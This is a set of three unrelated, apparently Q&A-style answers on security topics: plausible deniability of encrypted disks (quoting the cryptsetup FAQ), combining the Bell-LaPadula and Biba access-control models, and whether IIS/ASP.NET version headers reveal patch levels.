Nothing is different with a disk that contains random noise.  It can be an encrypted disk!  And the willingness of the attacker to do nasty things to you is a much stronger point than the ability to prove that the disk is an encrypted disk or not.

Now imagine the attacker as being a law enforcing government agency, and you will see that "doing nasty things to you" may simply be keeping you in prison on "suspicion" of something.  I live in the UK so it calls for another quote from Arno Wagner:

  [encryption without LUKS] has limited value against the authorities. In civilized countries, they cannot force you to give up a crypto-key anyways. In quite a few countries around the world, they can force you to give up the keys (using imprisonment or worse to pressure you, sometimes without due process), and in the worst case, they only need a nebulous "suspicion" about the presence of encrypted data. Sometimes this applies to everybody, sometimes only when you are suspected of having "illicit data" (definition subject to change) and sometimes specifically when crossing a border. Note that this is going on in countries like the US and the UK, to different degrees and sometimes with courts restricting what the authorities can actually demand.

All above is considering that an attacker cannot prove that the disk is an encrypted disk, i.e. that plausible deniability works.

Bruce Schneier argues in his paper about TrueCrypt and DFS (Deniable File System) that there are environment cues around partitions that look like random noise that defeat plausible deniability.  Whether you believe the paper's arguments is your call (I do not), but it gives yet another sight on how plausible deniability is a weak defence.

References:

Sections 2.4 and 5.8 from cryptsetup FAQ - Arno Wagner
Defeating Encrypted and Deniable File Systems - Czekis, Hilaire, Koscher, Gribble, Kohno, Schneier


To answer all your questions at once, since the BLP is no read up, no write down data confidentiality model, and Biba is no read down, no write up data integrity model, you effectively end up with a prohibitive, same level only data confidentiality and integrity model. In theory, it shouldn't result in any less secure model, quite the contrary, it might be too strict to have any real life application.

What that means is, when both are properly implemented into a secure system, they will prohibit any security level moving vertically in either direction and you end up with all security levels isolated from one another both for read as well as write operations. I.e. discrete, non-interactive security levels. An information security equivalent of a stroboscope. I would only recommend it if this is exactly what you want, e.g. trying to isolate already existing down-vertical access control into standalone security groups, like maybe when dissolving a business partnership, or any other compartmental lockdown like that.


Do IIS / ASP.NET / MVC version headers reveal patch presence?

No, these headers don't say anything about the server itself, only that it's running Windows (Because of the IIS).

The other two headers are the .Net and MVC framework version, which both are respective to the application running in the IIS.

You can find more information about those headers and how to remove them here.